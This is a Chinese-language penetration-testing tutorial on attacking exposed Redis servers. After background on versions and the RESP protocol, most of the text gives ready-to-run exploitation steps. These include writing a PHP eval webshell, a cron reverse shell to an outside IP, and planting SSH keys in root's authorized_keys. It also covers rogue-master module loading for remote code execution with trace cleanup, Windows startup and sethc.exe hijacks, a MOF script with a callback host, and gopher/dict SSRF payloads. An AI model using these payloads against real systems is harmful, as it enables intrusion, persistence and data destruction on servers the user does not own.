Redis 基础
应用场景
Redis 是 C 语言开发一个开源高性能的 key-value 键值对存储类型的内存NoSQL数据库,且支持持久化到硬盘,广泛应用在数据集群,分布式队列,信息中间件等网络架构中。在实际渗透场景中,Redis 常常用来缓存 Session、网站页面架构、短信验证码等数据。
版本区别
•Redis >= 2.8
默认无密码。新增主从同步功能,换言之,从这个版本开始攻击者可以利用主从复制实现无损文件上传。无损文件上传,为 Windows 的 Redis 利用拉开了很好的口子,因为可以无损上传 DLL、EXE、VBS、LNK 等完成劫持和写入启动项。
防杠:严格来说主从同步在 2.8 之前就有了,2.8 之前触发全量复制的命令是 sync 和 psync,但是使用 sync 只能执行全量同步,2.8 之后的命令同时支持全量同步和部分同步。总而言之,2.8 之前的主从同步是有缺陷的,而且如今也几乎不可能碰到低于 3.x 版本的 redis 了,怼着这点深究没意义。
冷知识:所以,主从复制并不是只有 4.x - 5.x 才有的,而是从一开始就有了,只是 4.x 开始才新增了自定义 so 文件模块的功能,结合主从复制把 so 文件丢过去就能 RCE。而 6.x 也依然支持主从复制功能,只是官方新增了对 so 文件的权限校验,所以你丢个 so 文件过去也没法 RCE。具体见 commit:https://github.com/redis/redis/pull/6257
•Redis <= 3.2.0
默认无密码,监听 0.0.0.0,裸奔
•Redis > 3.2.0
新增保护模式(protected-mode),该模式默认开启,该模式不允许远程连接。默认还是无密码,但是默认监听本地 127.0.0.1,不对外开放,除非自己配置为 0.0.0.0,且把 protected-mode 改为 no。
•Redis 4.x - 5.x
默认还是无密码,且监听 127.0.0.1,新增自定义模块加载特性,结合主从复制上传so文件可利用这个可直接 RCE
•Redis 6.x
新增了针对Redis模块和so文件的执行权限校验,所以主从复制上传的so文件无法被执行了(https://github.com/redis/redis/pull/6257),但是主从复制传输无损文件依然可用,config写文件也依然可用。Github Commit 标题:Modules must have execute permissions to load
RESP 协议
RESP 是 Redis 序列化协议的简写。它是⼀种直观的⽂本协议,优势在于实现异常简单,解析性能极好。从 Redis 2.0 开始,该协议成为 Redis 客户端与服务端通信的标准协议。
Redis 协议将传输的结构数据分为 5 种最⼩单元类型,单元结束时统⼀加上回⻋换⾏符号 \r\n 。
间隔符号
•Linux:\r\n•Windows:\n
5 种最小单元类型
(1)单⾏字符串 以 + 符号开头
+hello world\r\n
(2)多⾏字符串 以 $ 符号开头,后跟字符串⻓度
$11\r\nhello world\r\n
(3)整数值 以 : 符号开头,后跟整数的字符串形式
:1024\r\n
(4)错误消息 以 - 符号开头
-WRONGTYPE Operation against a key holding the wrong kind of value\r\n
(5)数组 以 * 号开头,后跟数组的⻓度(下面数组为 [1,2,3])
*3\r\n:1\r\n:2\r\n:3\r\n
而 NULL 和 空串则使用以下方法表示:
•NULL,⽤多⾏字符串表示,不过⻓度要写成-1
$-1\r\n
•空串,⽤多⾏字符串表示,⻓度填 0
$0\r\n\r\n
Client -> Server
客户端向服务器发送的指令只有一种格式,多行字符串数组。比如一个简单的 set 指令 set author codehole 会被序列化成下面的字符串:
*3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n
Server -> Client
服务器向客户端回复的响应要支持多种数据结构,所以消息响应在结构上要复杂不少。不过再复杂的响应消息也是以上 5 中基本类型的组合。
(1)单行字符串响应
127.0.0.1:6379> set author codeholeOK
这里的 OK 就是单行响应,没有使用引号括起来。
+OK\r\n
(2)错误响应
127.0.0.1:6379> incr author(error) ERR value is not an integer or out of range
试图对一个字符串进行自增,服务器抛出一个通用的错误。
-ERR value is not an integer or out of range
(3)整数响应
127.0.0.1:6379> incr books(integer) 1
这里的1就是整数响应,
:1\r\n
(4)多行字符串响应
127.0.0.1:6379> get author"codehole"
这里使用双引号括起来的字符串就是多行字符串响应,
$8codehole\r\n
(5)数组响应
127.0.0.1:6379> hset info name laoqian(integer) 1127.0.0.1:6379> hset info age 30(integer) 1127.0.0.1:6379> hset info sex male(integer) 1127.0.0.1:6379> hgetall info1) "name"2) "laoqian"3) "age"4) "30"5) "sex"6) "male"
这里的 hgetall 命令返回的就是一个数组,第 1|3|5 位置的字符串是 hash 表的 key,第 2|6|6 位置的字符串是 value,客户端负责将数组组装成字典再返回。
*6\r\n$4\r\nname\r\n$6\r\nlaoqian\r\n$3\r\nage\r\n$2\r\n30\r\n$3\r\nsex\r\n$4\r\nmale\r\n
(6)嵌套
127.0.0.1:6379> scan 01) "0"2) 1) "info"2) "books"3) "author"
scan 命令用来扫描服务器包含的所有 key 列表,它是以游标的形式获取,一次只获取一部分。
scan 命令返回的是一个嵌套数组。数组的第一个值表示游标的值,如果这个值为零,说明已经遍历完毕。如果不为零,使用这个值作为 scan 命令的参数进行下一次遍历。数组的第二个值又是一个数组,这个数组就是 key 列表。
*2\r\n$1\r\n0\r\n*3\r\n$4\r\ninfo\r\n$5\r\nbooks\r\n$6\r\nauthor\r\n
config 命令
Redis自身提供了一个config的命令,我们可以利用来实现备份功能,然后备份的文件名和备份的路径都可以通过以下命令控制:
127.0.0.1:6379> config set dbfilename127.0.0.1:6379> config set dir
攻击者则可以利用这个特性写入任意文件到任意路径,在低版本 Redis 的渗透场景中,一般围绕这点进行利用。
注意事项
•该方法写入的文件会把原来存在的文件给覆写掉,例如写 ssh key,原来的 authorized_keys 就会被彻底覆写,如果主机的管理员本来就是通过 ssh key 进行登录的话,这样做就会造成原来的管理员无法登录,从而打草惊蛇。•Redis 默认写入文件的权限是 644(rw-r--r--),所以对于文件权限有要求的就无法利用了。(例如 ubuntu 的计划任务 var/spool/cron/crontabs/root 的文件权限必须是 600 才能成功被执行)
LZF压缩
Redis 默认采用 LZF 算法对生成的 RDB 文件做压缩处理,压缩后的文件远远小于内存大小,该压缩默认开启,当我们通过 save 来保存数据到磁盘中时,如果数据中有高冗余数据,那么这部分数据会被 LZF 压缩。例如:
44444444444444444444444444444444444
将被压缩为:
444...444
如何我们的 payload 中正好有这样的高冗余数据,LZF压缩会改变我们的 payload,使之失效。
我们可以通过下面的语句将其关闭:
config set rdbcompression no
flushall 的危险性
在我们通过 config 数据库备份的方式写计划任务、ssh key 或者 webshell 的时候,为了避免写文件时写入脏数据,一般会先执行 flushall 来清空所有缓存数据,但这样其实可能会对站点业务造成影响,例如下面的写 webshell 操作,开头就进行了 flushall:
flushallconfig set dir /var/www/html/config set dbfilename redis.phpset shell '<?php @eval($_POST["x"]); ?>'save
我们可以利用 redis 本身的特性来避开这个风险,redis 默认数据库有 16 个,连接成功后默认使用的是 0 号数据库(所以默认清空的是 0 号数据库数据),我们可以使用 select 语句切换数据库,每切换一次就使用 dbsize 查看当前数据库数据量,从 0 到 15一个个试,直到找到 dbsize 为 0 的数据库,然后在这个数据库中完成恶意操作即可,而且也不需要执行 flushall 命令了。
127.0.01:6379> select 5OK127.0.01:6379[5]> dbsize(integer) 0
select 5config set dir /var/www/html/config set dbfilename redis.phpset shell '<?php @eval($_POST["x"]); ?>'save
注意:即使 flushall 了,还是会存在 redis 本身的元数据,所以对于解析格式非常严格的文件(例如:debian、ubuntu 的计划任务文件),就无法利用了
漏洞利用
信息探测
info命令
一般关注以下信息:redis 版本、进程id、系统版本、系统架构
127.0.01:6379> info
响应:
# Serverredis_version:4.0.14redis_git_sha1:00000000redis_git_dirty:0redis_build_id:3914f9509eb3b682redis_mode:standaloneos:Linux 5.10.0-kali7-amd64 x86_64arch_bits:64multiplexing_api:epollatomicvar_api:atomic-builtingcc_version:6.3.0process_id:1run_id:9ea21c03d48f0672bc36d222373d072040640bf6tcp_port:6379uptime_in_seconds:69uptime_in_days:0hz:10lru_clock:1682199executable:/data/redis-serverconfig_file:
config get * 命令
获取 config 文件的所有配置项 value 值,一般关注:是否已配置主从服务器、持久化的数据库文件名、连接密码、日志文件。
127.0.01:6379> config get *
响应:
1) "dbfilename"2) "dump.rdb"3) "requirepass"4) ""5) "masterauth"6) ""7) "cluster-announce-ip"8) ""9) "unixsocket"10) ""11) "logfile"12) ""13) "pidfile"14) ""15) "slave-announce-ip"16) ""...
写计划任务
利用条件
•redis 服务使用 root 账号启动•CentOS机器(在 debian、ubuntu 等环境中由于这些环境对计划任务的格式解析非常严格,所以没办法执行成功)
计划任务格式
# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed
例如,下面这个是每1分钟反弹1次shell:
*/1 * * * * bash -i >& dev/tcp/X.X.X.X/7789 0>&1
可以写的计划任务:
•/var/spool/cron/root(文件,且文件名得问用户名)•/etc/crontab(文件,计划任务中得指明用户名,且程序都要用绝对路径)
利用过程
就正常写计划任务就行,只是要在前后加上 \n\n:
flushallset 1 "\n*/1 * * * * bin/bash -i >& dev/tcp/127.0.0.1/7789 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave
注意:网上的 redis getshell 计划任务语句大都有问题,只有这条可以,核心就是要在语句的左右两边都加1个 \n 。
如果是自己复现,可以使用下面的语句查看计划任务执行状态:
tail -f vim /var/log/cron
其它计划任务路径
•/etc/crontab(文件)(该文件只有root可写)
区别在于,这个计划任务中需要指明由哪个用户执行,例如:
*/1 * * * * root bin/bash -i >& /dev/tcp/127.0.0.1/7789 0>&1
经笔者测试,这个文件在带入 redis 脏数据后即使成功换行了也无法成功得到执行,具体原因不详,如果有朋友解决了这个可以在评论区补充。目前只能通过主从复制带入无损文件 crontab 进行利用。
注意:/etc/crontab 中的环境变量是与系统独立的,也就是说,任何程序都要写绝对路径才能成功,例如 bash 必须得写成 bin/bash,不然无法成功反弹 shell
•/etc/cron.hourly、/etc/cron.weekly、/etc/cron.mouthly、/etc/cron.daily(文件夹,且只有 root 可在里面写文件)
顾名思义,放在里面的 sh 脚本文件会被按照对应的时间(时、周、月、日)呈规律被执行,但是,脚本需要具备可执行权限(x)才可被执行,而我们通过 redis 主从同步复制进去的文件默认权限为 rw-r--r-- ,所以几个计划任务路径无法通过 redis 完成利用。
写 ssh 公钥
利用条件
•redis 服务使用 root 账号启动•服务器开放了SSH服务,而且允许使用密钥登录(服务器默认关闭 key 登录选项)
注意:经实战测试,阿里云机器(CentOS)的这个选项虽然是被注释掉的,但是其实只要你写key,就能直接通过 key 去连接,原因不详,测试时发现 authorized_keys 中已经有一个 key,是阿里云的,可能这是官方的需求吧。从其它笔者的文章能看出,云主机基本都是默认就可以通过key去连接。所以,只要不是管理员故意设置为 no,那么都是可以的。
默认在/etc/ssh/sshd_config中不开启#PubkeyAuthentication yes
利用过程
(1)生成一对 ssh 公私钥
ssh-keygen -t rsa -f ./id_rsa# 然后指定在当前目录生成2个文件 私钥:id_rsa 公钥:id_rsa.pub
(2)因为即使 flushall 了也还是有脏数据,但是幸好 Linux 对 authorized_keys 的解析是比较模糊的,通过换行不让脏数据和公钥数据挤在一行即可,所以为了保证写入的 authorized_key 能被解析,必须引入换行符 \n\n
flushallset xxx "\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5j6OSioyj1AdNH2wSs9vC0ta+1ZZjHwFOZeI974xAMt7awC50covqX/s34pl3+PUewENS6vHrGp40csmUmb0Hd1390df5KUMkI4DxN2TicPeg9+DdjwY7j0V5T/5VfBrTYmItj+MstUyNoYzxKac+Npx5OtsoRqFYwPcXLB/EL5Fl+LZUFP3HzLsS7KkVSCtcxbv6Lx4BqnPPBednIJIjuJ1Wlh8BkEYUnqSOPzOZCJJ0kvMe4RmJrSafcf9q+Ifx2pUkw0ZxYwPjt8yvISZKvPlxOd8TY2Joa6lnmKEhTd/t94SzBCAoHi3zmOcKEaRV7foyvUFvTDZvmPpvVTRZYW8PEbFc/LxwJvIKnypm4t5aqSDhWetR+lud9Qc1jpktAOx9UIA1jlvEwmN08iyE61o4TPv/RLVvTRfE/3DN2kNAKIdU47QEqKL0TKQ85BrSFk5Jjry/EfRwjtn1ZUS4mk0fWZVOopy2WcqUUlEaMoQfTQmOJqR3pqLiLSwi37s= root@kali\n\n"
(3)写入 key 文件
config set dir /root/.ssh/config set dbfilename authorized_keyssave
(4)连接
ssh -i ./id_rsa root@1.1.1.1 w
写 webshell
利用条件
•redis 服务使用 root 账号启动•已知 web 绝对路径
利用过程
flushallconfig set dir /var/www/html/config set dbfilename redis.phpset shell '<?php @eval($_POST["x"]); ?>'save
主从复制配合动态库加载
利用条件
•redis 4.x•redis 5.x
利用原理
主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写,该功能从 redis 2.8+ 开始有。
在 reids 4.x 之后,通过外部拓展,可以通过构造 so 文件在 redis 中实现一个新的 redis 命令。在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。
先利用主从复制把 so 文件远程复制过去,然后再通过 MODULE LOAD 来加载 so 文件即可 RCE,其过程如下:
第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点(或者自己开个redis服务,通过config文件把dbfilename设置为exp文件的名字就行)第二步,我们设置备份文件名为so文件第三步,设置传输方式为全量传输第四步,加载恶意so文件,实现任意命令执行
注意:由于采用的是全量传输备份,所以该利用方式会将对方所有数据库清空覆盖,很容易打草惊蛇,而且对业务可能会造成不可挽回的影响
利用过程
手工利用
(1)在 VPS 上启动使用此脚本模仿 redis 主服务器(https://github.com/Dliv3/redis-rogue-server)
python3 redis-rogue-server.py --server-only
注意:
•so 文件源码为 https://github.com/puckiestyle/RedisModules-ExecuteCommand ,可自行编译•该脚本默认监听 21000 端口
(2)客户端设置主从备份,并进行 Module Load
config set dir ./config set dbfilename exp.soslaveof 1.1.1.1 21000 #上面看绑定的服务段端口是21000module load ./exp.soslaveof no onesystem.exec 'whoami'清理痕迹config set dbfilename dump.rdbsystem.exec 'rm ./exp.so'module unload system
自动化利用
其实就是把上面客户端执行的命令自动帮你完成了。
工具源码:https://github.com/Ridter/redis-rce
python3 redis-rce.py -r 1.1.1.1 -L 2.2.2.2 -f exp.so
场景绕过
禁用 config 命令绕过
管理员可以通过以下命令来禁用 config 命令,
rename-command CONFIG ""
这样的话我们就无法自定义路径和文件名了,但是这并不影响主从复制的利用,我们还是可以利用主从复制把 so 文件丢过去,只是由于无法自定义路径和文件名,所以我们的 so 文件传过去后会会变为 dump.rdb,直接利用通过以下方法正常加载还是能 RCE:
module load /data/dump.rdb
注意:/data/dump.rdb 为 redis 数据库文件默认路径
Windows 场景利用
Windows Redis 的安装包停留在了 3.x 版本(https://github.com/microsoftarchive/redis)。
所以,Windows 下的 redis 的利用方法有下面两个(除非用了第三方组织的 5.x 版本,不然只有这三个):
•写 webshell•写启动项•主从复制劫持
而 redis 在写文件的时候会有一些版本信息以及脏数据,所以用普通手段无法写出正常的DLL、EXE、LINK 等文件,但是,得益于 redis 原生支持的主从复制功能,我们可以无损上传文件,下面会讲。
写 Webshell
这是 getshell 成功率的办法了。
flushallconfig set dir C:\phpStudy\PHPTutorial\WWWconfig set dbfilename log.phpset shell '<?php @eval($_POST["x"]); ?>'save
无损上传劫持
redis 全版本支持主从复制,Windows 的 Redis 3.x 虽然没有 Module Load 功能,但我们只通过主从复制来完成 getshell,通过以下方式:
•写启动项(需要目标重启或注销)•系统 DLL
劫持 (需要目标重启或注销)•针对特定软件的 DLL
劫持(需要知道软件的绝对路径,需要目标一次点击)•覆写目标的快捷方式 (需要知道用户名,需要目标一次点击)•覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击,主要看是什么软件)•覆写 sethc.exe 粘滞键(需要可以登录3389)•windows mof (Windows Server 2003)
使用这个开源项目即可:https://github.com/r35tart/RedisWriteFile
写启动项
往下面目录写入 VBS、Powershell、Exe:
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
如果管理员将 Redis 添加了服务项并配了一个高权限(如Administrator甚至SYSTEM),那么 Administrator 账户的路径就一定可写了。
python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\Users\Test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" --rfile=exp.vbs --lfile=log.vbs
缺点:
•这个利用比较鸡肋,因为 Windows Server 的话是很少关机的,如果没有 BDoS 漏洞的话,我们得等待对方重启,payload 才能执行•用户名得爆破,且爆破成功得机率很低,而且 Administrator 用户不一定存在(大部分时候为具有 Administrator 权限的自定义用户)
劫持 system 文件
利用条件
•Redis 以 SYSTEM 权限运行(注意:不是 Administrator,而是要 SYSTEM)•UAC 彻底关闭
这个利用点几乎不可能在实战中用到,因为需要管理员或者SYSTEM权限,这里主要指的是通过写文件覆盖已有的文件或劫持DLL以达到欺骗的目的,虽然还是被动等待上线,但概率明显要比等机器重启要高得多。比较通用的方法是向 system32 目录下写文件,但 NT6(Vista/7/8/8.1/10/11) 及以上操作系统的 UAC 必须关掉,或 Redis 以 SYSTEM 权限启动,否则脚本显示成功但实际上是无法写入的。
而在 Windows 中,管理员常用的,有两种方式使程序以 SYSTEM 权限运行:
•利用 Windows 自带的任务计划程序,计划任务默认以 SYSTEM 权限运行程序•创建服务,以服务方式启动的程序默认都以 SYSTEM 权限运行
python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\Windows\System32" --rfile=sethc.exe --lfile=cmd.exe
MOF
如果目标机器是03那就比较幸运了,不用再被动等待人为操作了。 托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:
C:/windows/system32/wbem/mof/nullevt.mof
其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有。 例如如下脚本执行时会执行系统命令:
#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io \")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};
将其保存为 nullevt.mof 并写入C:/windows/system32/wbem/mof 路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。 写入后几秒钟脚本就会执行,执行成功会放在good文件夹,失败放在bad文件夹。
python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\windows\system32\wbem\mof" --rfile=nullevt.mof --lfile=nullevt.mof
主从复制配合动态库加载
虽然微软对 Windows 版 Redis 的更新停留在了 3.x,但是也有其它第三方团队针对 Windows 平台做了 Redis 的适配,例如下面这个项目,直接适配到了 5.x 版本:
https://github.com/tporadowski/redis
所以,即使是 Windows 平台,只要版本为 4.x 或 5.x ,同样可以进行 Module Load 直接 RCE。
主从复制配合 Module Load 与 Linux 步骤一致,只是文件不能是 so 文件了,而得是 Windows 平台的 DLL,DLL 项目源码如下:
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
利用过程
(1)先把 DLL 传递过去
python3 RedisWriteFile.py --rhost=192.168.52.204 --lhost=192.168.52.128 --rpath="." --rfile=exp.dll --lfile=exp.dll
(2)执行命令
127.0.0.1:6379> module load exp.dll127.0.0.1:6379> exp.e whoami127.0.0.1:6379> exp.e net user
SSRF 对 Redis 的利用
SSRF打Redis常用协议
dict 协议
dict协议,字典服务器协议, A Dictionary Server Protocol ,dict 是基于查询响应的TCP协议。
使用格式
dict://serverip:port/命令:参数
优缺点
•优点:会自动在末尾补上\r\n•缺点:命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对 %0d%0a 解码
gopher 协议
互联网上使用的分布型的文件搜集获取网络协议,支持多行输入。
使用格式
gopher://serverip:port/_data
冷知识:之所以在data 前面加 _ ,是因为 gopher 协议传输过去的第1个字符会被吞掉,所以得乱加个占位符
可利用版本
•PHP:使用了 --write-curlwrappers 编译参数且 php 版本至少为 5.3•Java:小于 JDK 1.7•Curl:低版本不支持•Perl:支持•ASP.NET:小于版本 3
信息探测
探测 redis 服务是否存在:
curl "dict://127.0.0.1:6379"
回显:不同版本回显的内容也不同,但回显内容开头必然是 -ERR,例如以下两个,
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP+OK
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)+OK
也可以直接读取配置基本信息:
curl "dict://127.0.0.1:6379/info"
无认证 SSRF 攻击
dict协议
1.设置保存文件名curl dict://127.0.0.1:6379/config:set:dbfilename:exp.so2.连接远程主服务器curl dict://127.0.0.1:6379/slaveof:192.168.52.128:210003.载入 exp.socurl dict://127.0.0.1:6379/module:load:./exp.so4.断开主从curl dict://127.0.0.1:6379/slaveof:no:one5.恢复原始文件名curl dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb6.执行命令curl dict://127.0.0.1:6379/system.exec:'whomai'7.删除痕迹curl dict://127.0.0.1:6379/system.exec:rm './exp.so'
gopher 协议
手工利用
对 redis 构造 gopher 数据的其实很简单,就是 “开头加 _ ,空格用 %20 替换,换行用 %0d%0a 替换” 就完事,压根不需要整 wireshark 抓包然后又十六进制转换啥的,网上的文章大多通过抓包搞定,其实没必要,也很蛋疼。
由于主从复制需要一定的时间来传输文件,所以切不可把 slaveof 命令和 module load 命令直接写在一个 gopher 链接中,我们分成两次,第一次 gopher 先 slaveof 把文件同步过去,第二次 module load 加 exec 执行命令。
(1)执行 slaveof 语句,把文件通过主从同步复制过去
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20exp.so%0d%0aslaveof%20192.168.52.128%2021000%0d%0aquit
上述 gopher 数据意思为:
config set dbfilename exp.soslaveof 192.168.52.128 21000quit
(2)等待一会,再执行第二条语句执行 module load 来正式加载模块
gopher://127.0.0.1:6379/_module%20load%20./exp.so%0d%0asystem.exec%20'whomai'%0d%0aquit
上述 gopher 数据意思为:
module load ./exp.sosystem.exec 'whomai'quit
注意:之所以每一条后面都加 quit,是因为如果不加 curl 会一直卡在连接状态不退出,造成 SSRF 无法回显
自动化利用
这个脚本会生成一段 gopher 链接:https://github.com/tarunkant/Gopherus.git
gopherus --exploit redis
脚本使用 resp协议来交互,目前仅支持自定义 web 路径写 webshell。
带认证 SSRF 攻击
有密码的话虽然可以使用 dict 协议进行密码认证,但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议是没法攻击带认证的 Redis 服务的,因此,我们只能使用 gopher 协议。
gopher
也很简单,就是在无认证攻击的语句前加上 auth 语句进行认证进行。
(1)执行 slaveof 语句,把文件通过主从同步复制过去
gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dbfilename%20exp.so%0d%0aslaveof%20192.168.52.128%2021000%0d%0aquit
上述 gopher 数据意思为:
auth 123123config set dbfilename exp.soslaveof 192.168.52.128 21000quit
(2)等待一会,再执行第二条语句执行 module load 来正式加载模块
gopher://127.0.0.1:6379/_auth%20123123%0d%0amodule%20load%20./exp.so%0d%0asystem.exec%20'whomai'%0d%0aquit
上述 gopher 数据意思为:
auth 123123module load ./exp.sosystem.exec 'whomai'quit
无回显利用
那就死马当做活马医,直接把该打的payload都打过去,坐等弹 shell,没有就算了。




